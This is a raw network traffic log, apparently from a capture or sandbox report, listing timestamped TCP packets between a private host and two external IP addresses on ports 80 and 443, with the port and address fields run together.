                                                                                                                                                                          Dec 23, 2024 08:40:09.372469902 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.372534037 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.373706102 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.373764992 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.373794079 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.374818087 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.374901056 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.374944925 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.376455069 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.376498938 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.376568079 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.377319098 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.377376080 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.377422094 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.378552914 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.378595114 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.378606081 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.379698038 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.379751921 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.473721981 CET49790443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.473733902 CET49791443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.473733902 CET49789443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.473822117 CET49793443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.473838091 CET49792443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.473853111 CET44349793172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.485928059 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.486140966 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.486207962 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.486491919 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.486583948 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.486639023 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.487406969 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.487562895 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.487673998 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.488639116 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.488806009 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.488858938 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.489840031 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.489959955 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.490034103 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.491055012 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.491102934 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.491345882 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.492167950 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.506510019 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.506596088 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.506643057 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.506942034 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.507059097 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.507143021 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.507270098 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.507345915 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.508224010 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.508284092 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.508322001 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.509277105 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.509375095 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.509434938 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.510309935 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.510579109 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.510687113 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.511353016 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.511475086 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.511538982 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.512413979 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.512531042 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.512708902 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.513495922 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.513616085 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.513663054 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.514523983 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.514635086 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.514810085 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.515587091 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.515815020 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.515861034 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.516618967 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.516710997 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.517225027 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.517735958 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.517815113 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.517951965 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.518796921 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.518912077 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.519076109 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.519762993 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.519916058 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.519998074 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.520821095 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.520987034 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.521215916 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.521864891 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.522007942 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.522269964 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.522914886 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.523041964 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.523118973 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.523974895 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.524152994 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.524203062 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.525021076 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.525141954 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.525202990 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.526066065 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.526134968 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.526191950 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.527153015 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.527230024 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.527332067 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.528183937 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.528297901 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.528486967 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.529292107 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.529377937 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.529449940 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.530332088 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.530342102 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.530390024 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.531337023 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.531495094 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.531610966 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.532392979 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.532438993 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.532541990 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.533447981 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.533615112 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.533941984 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.534493923 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.534606934 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.534645081 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.535557985 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.535686970 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.535784006 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.536601067 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.536708117 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.536768913 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.537662029 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.537764072 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.538036108 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.538701057 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.538815022 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.538861990 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.539783955 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.539910078 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.539961100 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.540824890 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.540910959 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.540983915 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.541896105 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.542011023 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.542051077 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.542989969 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.543191910 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.543246031 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.543983936 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.544075012 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.544132948 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.545025110 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.545178890 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.545494080 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.546107054 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.546194077 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.546240091 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.547171116 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.547278881 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.548155069 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.548183918 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.548285007 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.548372030 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.549242973 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.549340010 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.549509048 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.550314903 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.550421953 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.550533056 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.551367998 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.551451921 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.551505089 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.552403927 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.552498102 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.552535057 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.553472042 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.553561926 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.553601980 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.554552078 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.554614067 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.554680109 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.579762936 CET49793443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.638623953 CET44349798172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.638734102 CET44349797172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.639017105 CET49798443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.639039040 CET44349798172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.639132977 CET49797443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.639148951 CET44349797172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.639714003 CET44349799172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.639960051 CET49799443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.639967918 CET44349799172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.640100956 CET44349798172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.640150070 CET49798443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.640274048 CET44349797172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.640320063 CET49797443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.641015053 CET44349799172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.641072035 CET49799443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.641719103 CET49798443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.641788960 CET44349798172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.641807079 CET49797443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.641860008 CET49799443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.641911983 CET44349797172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.641922951 CET44349799172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.642401934 CET44349796172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.642627001 CET49796443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.642638922 CET44349796172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.643105030 CET44349796172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.643556118 CET49796443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:09.643631935 CET44349796172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.678095102 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.678159952 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.678307056 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.678441048 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.678571939 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.678613901 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.679522038 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.679877996 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.679922104 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.679924965 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.680943012 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.681061983 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.681166887 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.682001114 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.682085991 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.682090044 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.683032036 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.683120966 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.683157921 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.684092045 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.684149027 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.698590994 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.698646069 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.698787928 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.698987961 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.699239016 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.699302912 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.699342012 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.700283051 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.700324059 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.700433969 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.701380968 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.701476097 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.701524973 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.702406883 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.702461004 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.702512980 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.703469992 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.703548908 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.703624010 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.704507113 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.704546928 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.704633951 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.705523968 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.705638885 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.705775976 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.706661940 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.706721067 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.706743956 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.707709074 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.707742929 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.707803011 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.708724022 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.708790064 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.708797932 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.709774017 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.709847927 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.709909916 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.710843086 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.710894108 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.710913897 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.711860895 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.711991072 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.712055922 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.712898016 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.712954998 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.712996960 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.713964939 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.714040995 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.714080095 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.715066910 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.715109110 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.715123892 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.716079950 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.716149092 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.716192007 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.717132092 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.717171907 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.717261076 CET8049780139.99.188.124192.168.2.9
